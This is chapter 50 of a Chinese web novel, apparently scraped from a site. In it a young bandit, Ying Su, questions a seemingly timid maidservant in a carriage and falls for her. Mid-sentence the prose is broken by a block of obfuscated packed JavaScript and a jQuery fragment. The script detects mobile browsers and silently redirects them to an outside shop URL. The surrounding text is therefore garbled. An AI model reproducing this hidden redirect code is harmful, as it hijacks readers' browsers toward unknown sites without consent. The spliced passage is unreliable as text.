50.训狗
作品:《普女,也可以白月光吗》 50/
英簌还怔愣在那里。
感觉有些不太对劲,又说不上来哪里不对。
少女的衣着明显不衬她,富贵人家的丫鬟都会装扮得如同副小姐。
这种不合身的衣服,黯淡的颜色,把人穿得陈旧老气,一看就知道哪怕是当丫鬟,也是不伶俐,不被主人看重的。
即便是在这一马车的仆从里,都是最不出彩的。
在她抬头之前,英簌的认知里,这应该是一个呆呆笨笨,怯懦胆小,又有点天真老实的丫头。
充其量笨得烂漫,不惹人生厌。
丢在人堆里,转头就会忘记。
人靠衣装马靠鞍,衣服不漂亮,人当然也不会多好看。
但奇怪的就是,当她抬头,英簌看见她的脸的时候,却产生了一种是衣服不配她的错位感。
他喉咙咽了一下,才后知后觉自己并不自在放松。
“是芙蓉花的芙吗?”
声音都忍不住夹了起来。
少女低着头,小幅度更低下,看不出来是点头还是害怕。
如果是之前,英簌会认为她是害怕。
低头行礼时候的姿态,谦卑恭敬得让人感到不自在。
毫不抗拒的柔顺,包括乌黑像是浸在泉水里的眼眸,和眼下的泛红。
以及现在也被他抓在手里的手腕,感受到的从对方身上传来的不断的战栗颤抖。
一切似乎都在说明他的判断没有错。
可是,唯独刚刚看见的那张脸上的神情,没有恐慌,没有畏惧,甚至于可以说什么都没有,什么都不是。
和他所有的感觉所有的猜想,过往所有的经验判断都违和。
他不能够用任何形容描述。
湿润的眼眸下因为眼眶泛红错觉病态的羸弱,不是苍白的病态,是红晕的病态。
杂糅着毫不设防的温顺,没有一丝抵抗的柔软,却没有任何祈怜,或一丝一毫的讨好。
冰冷寂静,却极致吸引。
一种奇异的,不可捉摸的神秘。
中间隔着万丈深渊。
她不危险,脆弱无害,也没有任何妩媚,甚至都没有笑一下,却叫他想起小时候听过的故事里的山魅精怪。
惊魂一瞥,却随着时间越久越清晰浮现眼前。
他几乎是看痴了。
“你……咳咳。”
一开口,他发现自己的声音干涩得厉害,不由不自然地清了清嗓子。
心情却一扫之前的烦躁。
“小芙,你是怎么到这来做事的。”
强烈的好奇涌现,他满心满眼只想知道关于她的东西,对追查那位公主下落的兴趣早已丢到角落。
少女蹙眉,不舒服地轻微挣了挣被他抓着举起的手腕。
英簌颤了下,下意识松开,仿佛那是极其脆弱珍贵之物,多一秒就会弄疼弄断,不敢多用一丝力。
可是真的松开后,他又有些怅然空落。
少女仍旧低着头,将双手放在身前,分明是最简单的姿势,仪态却说不出的美:“妾的母亲早逝,父亲在外经商,前月传来消息,说爹爹出了事,家中管事匆忙带妾去找爹爹。到了才知是爹爹的生意出了问题,要将妾卖了。中途转手了几道,进了这座院子。”
低轻柔软的声音,缓缓道来。
英簌盯着她,因她低头侧着脸躲避,只能看见小小的玉白的耳垂。
“怪不得。”
她看上去并不伶俐,笨拙得不像个丫鬟。
那种不谙世事的不熟练,毫无安全感的脆弱,也不像个完全被娇养的小姐。
一个商贾家的小姐,遭逢变故,被亲近的人卖来这里,一切违和似乎都说得通了。
按照正常的流程,他应该盘问其他人的身份了。
然后让他们互相指认作证。
最后筛选出无人证明,也没有人认得的可疑人选。
最起码也应该问一句,这里有没有人认得她。
英簌歪着头去看她低头的脸,声音放柔:“你很怕我吗?你一直在发抖。”
少女点了点头,顿了下,又摇头,轻轻地说:“因为,冷。”
英簌再次看了看她身上的衣服,的确有些单薄。
他也再次被提醒注意到,她的衣服和她这个人的违和不配。
他很想告诉自己,只是因为她被人排挤,不受主人宠爱。
但直觉几乎摆在眼前告诉他,这不是她的衣服。
所以她为什么会穿着不属于她的衣服?
思维却迟迟卡在那里,不肯多往下一步。
英簌在刨根问底之间犹豫了一下,什么也没有问。
他下意识要脱衣服,却发现自己的衣服是便于打斗的修身的劲装,无法脱下了披在她身上。
于是他站起身往风口坐去,和她换了个位置,用身体挡着马车入口灌进来的风。
沉默。
他思索着怎么把她从这群人里摘出来,摘出来后又放在哪里好。
没想好为什么要这么做,但本能下意识想要藏起来,据为己有。
“你为什么要找公主?”
或许因为他的善意举动,消弭了少女对他的戒备和畏惧。
对方抬头主动望着他问。
英簌小幅度,克制地看了她一眼,怕自己太直勾勾,会让她再度退缩低下头,看了一眼就装作不在意自然地移开视线。
移开了,又忍不住余光偷看。
口中诚实道:“不是我要找,我才对那什么公主不关心呢。是我大哥。”
“你大哥为什么要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076411|192728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找公主?”
她问得天真坦然,直接得不像打听试探。
更像为了缓解不安,而和身边感到安全的人随便说的话。
“我大哥说皇帝很宠爱他那个女儿,搜罗天下宝物当做礼物送她。我们也想开开眼界。”
少女眨了眨眼,静静地看着他:“所以,你们要找的不是公主,是公主带着的礼物。”
“差不多吧。你又不是公主,最好不要打听这些,知道的越多越危……越麻烦。”
不知不觉,英簌面对面一瞬不瞬望着少女。
少女抿唇,垂下眼眸,轻轻叹息。
“那我不问了。”
他有些后悔。
下意识蹲在她脚边,往上看着她的脸,小小声。
“其实,也可以问的,不太重要的东西还是可以说的。”
马车里,和其他人一样挤在一起蹲在地上捂着头的软宁,听到这段幼稚的你来我往的对话翻了个白眼。
就不能问点有用的吗?
少女摇头,顿了顿,轻轻抬眼看向英簌的眼睛。
两个人一坐一蹲,像两个说悄悄话的小孩。
“我们不知道公主的下落,会被怎样?”
少女的眼眸清透,淡淡的清冷悲寂,并没有多少期许和对自身的忧虑。
像脆弱的只开刹那的冰花,温暖和寒冷都会使她消亡,生或者死都一样。
神情之美,非人间所有。
英簌呆在那里,心脏噗通噗通,几乎可以被听到。
第一次知道,原来他是个好色之徒,会看着女孩子走不动。
他有些唾弃自己,眼睛却诚实地目不转睛。
少女垂下眉睫,轻轻地问:“会被杀死吗?还是,因为没有用处再次被卖掉?我能选被卖掉的地方吗?我想离家乡近一点。”
“不会的!”
他睁大眼睛,想要把心掏出来一般的赤诚。
“我大哥是好人。我们只惩戒贪官污吏,从不欺负百姓和苦命人。更不会像那些权贵随意打杀下人。”
全然不似刚上车的时候斥责众人噤声时的暴戾。
“你们是山贼吗?”
他摇头:“不是。”
“那是起义军?”
他正要反应,忽然竖起手指在唇边,眼神一瞬清明:“嘘。”
马车的速度明显慢了,似乎目的地要到。
“到了以后你跟着我,不要轻易说话。别人要是问起来,你就说你是英簌的人。”
“又有墙头千叶桃,风动落花红蔌蔌。①”少女抬眸,轻轻地问,“是这个簌吗?”
英簌愣了一下,下意识嗯。
他其实并不知道这句诗,只觉得这句诗很美。
或者,因为是被她念出来的,所以很美。

